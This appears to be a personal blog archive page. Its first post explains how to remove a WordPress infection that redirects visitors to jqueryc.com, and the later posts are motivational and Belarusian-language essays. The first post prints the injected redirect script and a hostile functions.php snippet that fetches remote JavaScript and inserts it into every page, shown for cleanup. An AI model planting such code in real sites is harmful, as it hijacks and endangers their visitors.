WordPress jqueryc.com problem

Posted by on Dec 15, 2012 in Blog | 15 comments

Sometimes it happens that your wordpress site occasionally starts to redirect to magic jqueryc.com. Notice it’s not jquery.com site.

It could happen because of installing some hacked premium plugins/themes for example like this one – http://www.wikmag.com/felis-flexible-theme.html.

How does it work?

This malicious software that was installed to your website redirects all your users to jqueryc.com by inserting javascript line into the top of your page. Something like this:

<script type="text/javascript">
window.top.location.href = "http://www.jqueryc.com";
</script>

How to fix it?

You need to open a functions.php file in your wordpress editor view.

Then find the following line of code

//Jquery Function
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

and delete it. Don’t forget to press save button after that.

That’s it. We are done. Your website is fixed.

Try to avoid untrusted or hacked plugins/themes in a future. It can lead to even more harmful results.

Try

Posted by on Oct 17, 2012 in Blog | 3 comments

I realized really simple thing recently. Try is million times better than think. The real world is much more representative than any models either they are built in mind or on the shit of paper.

You will never know exactly how something will go until you try it.

You can think three hundred times and still have no precise result. If you see attractive girl all you need to do is to go and ask her to give you her phone. You don’t need to think about HOW it can turn out. All you have to do is to GO and DO IT. It should be super-fast and easy. No hesitation. You ask me: “What to do with these fearful thoughts preventing me from doing that?” The answer is to ignore them, because they can’t disappear immediately.

The same thing is for startups and ideas. If you have an idea right away after it appears in your mind you should go and make a first step to implement it. If you will think too much it will sink in the swamp of never implemented plans and ideas or will just go away or will be implemented by someone else.

5 months of doing everything to achieve nothing.

I had an idea named Great Work. It was a service aimed to help people find their passion. Yes I know it sound crazy and super naïve but I worked on that. I started to work on planning, graphics, presentations, pictures, descriptions, articles, investments and so on. I worked on everything but not the project itself. 5 months passed but I didn’t have anything done. So finally that idea died in my mind. One day I realized that I was just tired of that. I didn’t want it and it didn’t excite me anymore. I event didn’t make a first step to implement it but I had tons of plans and presentations. The good outcome from that story is:

Try fast. Fail. Move forward.

Idea and 10 minutes implementation

Once I got an idea to create a vkontakte-page with inspirational quotes in Belarusian. Right away after this idea appeared I opened browser and created that page with few posts. Since four months there are 1.2k subscribers. I know it’s not super great result, but it is result.

If you make mistakes you move forward.

Mistakes aren’t bad. Mistakes are good. They teach you how to NOT do something. In most cases this is more important than HOW to do something.

I do what I love to do. I leave my programmer job

Posted by on Aug 20, 2012 in Blog | 6 comments

I will quit my programmer job in 26 days.
The first thing I want to say is that it was not an easy decision for me. I thought about it for a long time and I have just finally come up with the clear one. I don’t want to waste my time surrounded by the people who don’t inspire me, writing programs 95% of which is going to be thrown away. Now it’s obvious: how can you do what you don’t like for such a long time? What is the reason you did it?
The answer is the fear of failure. When you aren’t self-confident enough, your own way, your own beliefs and thoughts can be easily affected by many different external factors like your friends’ opinion, your environment, your “this is how my parents taught me” and so on. Someone great said: the easiest way to get money is to find a job. But when you are on this way you skip another super-huge bunch of opportunities which are floating around you. I’ve started to spot them.
Again, when you lack self-confidence, your mood can be easily spoiled by your friend who says that you will never be able to achieve what you want. But when you have enough self-confidence you’ll say “sit down and shut up”. You will not care about his or her opinion, because you have your own light within.
It seems that and I want to believe that I have obtained such kind of a light within. Thanks to Paulo Coelho. I think that I feel something similar to what the shepherd in “The Alchemist” has felt. I talked to many friends of mine about this decision. Just a few of them support me while the majority says it’s risky and undue decision. There is some truth in their words but I think it’s worth trying.
I understand that the current situation is not the maximum of my abilities, skills and wishes. I can and will achieve more. I am not just talking about money here. I mean more “weight”, more experience, more self-confidence, more self-development, more interesting people, more new places, higher events per day rate, more fun.
What am I feeling now? I am feeling very well and excited. I am feeling that despite of the any consequences of this decision I will remember it for a very long time. I feel a spirit of adventure.
I have enough money to live for about 6-8 months. I also have an American visa and I have never been there, so I will visit US this autumn. The main destination is San Francisco because of it startup’s spirit. Anyway if I will run out of money I can freelance.
Hopefully I am not alone doing that stuff. A close friend of mine is leaving his job because of the same reasons too. It’s amazing to feel that someone shares your ideas in such a similar manner and it won’t be a single journey.
I know, this story sounds crazy, but if not now then when? Each passed year makes me older and more mature. So, wish me a good luck. I think it should be something in a life to tell children about.
I will keep you up to date.

Наша пакаленьне будзе лепш

Posted by on Jul 17, 2012 in Blog, Pa-Belarusku | 0 comments

Мне здаецца што маё пакаленьне будзе лепш, чым папярэдняе. Перш за ўсё з-за з’яўленьня Сяцівы, а менавіта з-за легкасьці доступа да неабходнай інфармацыі.
Прычына чаму я гэта пішу – гэта з-за розных натхняльных суполак, якія з’явіліся ў апошні час, напрыклад, Укантакце. Дарэчы, я сам стварыў такую. Суполкі гэтыя посьцяць шмат артыкулаў, цытат, малюнкаў з рознымі тэкстамі, выявамі і думкамі вялікіх людзей. Напрыклад апошняя цытата з маёй – “Знайдзі мэту – рэсурсы знойдуцца”.
Атрымліваецца што ты акружаны такімі файным асяродзьдзям Насамрэч Вялікіх Людзей. Уявіце? Вы кожны дзень бачыце гэтыя цытаты і гісторыі, аб тым, што трэба слухаць сэрца, ісьці на перад, змагацца, не здавацца. Мне напэўна адразу скажуць: “Да што гэта? Словы толькі, што яны зробяць?” Ня праўда. Калі кожны дзень гэта бачыш ты проста несьвядома запамінаеш як табе казаў рабіць Махатма Гандзі. Ну як яго не паслухаць?
Дык вось. Гэта тое аб чым марылі ўсе “коўчы”(тыя, хто трэніруюць, як трэба жыць)! Ты акружан вялікімі людзьмі! Зверху табе дае парады Брус Лі, трошкі праскроліш – Нельсан Мандэла. Файна! Мне здаецца ня кожны зь іх меў падобнае асяродзьдзе.
Выкарыстоўвайце шанец!

На конт чыноўнікаў

Posted by on Jul 5, 2012 in Blog, Pa-Belarusku | 0 comments

Я зразумеў зараз адну важную думку пасля таго, як прачытаў такі вось сказ
«Дзяржаўнай падтрымкі пры фармаваньні беларускіх клясаў на Гарадзеншчыне няма…»
Людзям ва ўладе пофіг. Яны ня супраць беларускай мовы. Ім тупа пофіг. Я не ведаю, чаму так здарылася, але нашы чыноўнікі – гэта ня лепшыя Беларусі, а наадварот горшыя. Гэта людзі ў першую чаргу без свайго меркаваньня. Яны проста сідзяць у сваіх кабінетах і нічога ня робяць.

Think less

Posted by on Jun 29, 2012 in Blog | 0 comments

The compilation of thoughts. I’ve made these notes about two months ago, but then I thought I would come back and edit them lately. Today I came and I like them as they are. So you have a raw version. 
What I found is that all cool people like Steve Jobs, Albert Einstein or Paulo Coelho have the same life-attitude. They go against grain. I want to clarify that it’s not the goal in itself to go against the grain. The goal is to do right things. Ask your conscience. If it says that something is wrong you have to try to change it. Even if it goes against traditions, majority opinion or whatever.
Where do we all go? I think it’s very big deception there.
So, only the people who are confident enough to be able to think that authority or prevailing opinion is wrong are able to achieve happiness.
Why don’t you have to worry about fail? It’s because there is no fail. Roughly speaking, there is no you or something else. There is just life itself. Just relax and enjoy. Someday you will die. The only thing that matters is that someday it will over. That’s why you have to enjoy your life. There will be nobody to tell your justifications to. It’s not bad, the opposite actually. It’s cool! You are free to do whatever you want. No external expectations, no useless commitments, just your wishes and your life.
OK, you made wrong decision. Something failed. Stop thinking about it! What if you were in the center of battlefield and somebody injured you. If you thought too much you would die. You have to continue to fight. Think less!
I think the common sense of life all people share despite their religion, lifestyle or something else is to make a dent in the universe. It’s to make at least a small positive change. It’s to be remembered and to be valued.

 

I think the most important point of this article is a phrase “Think less!” Especially for those who think much.
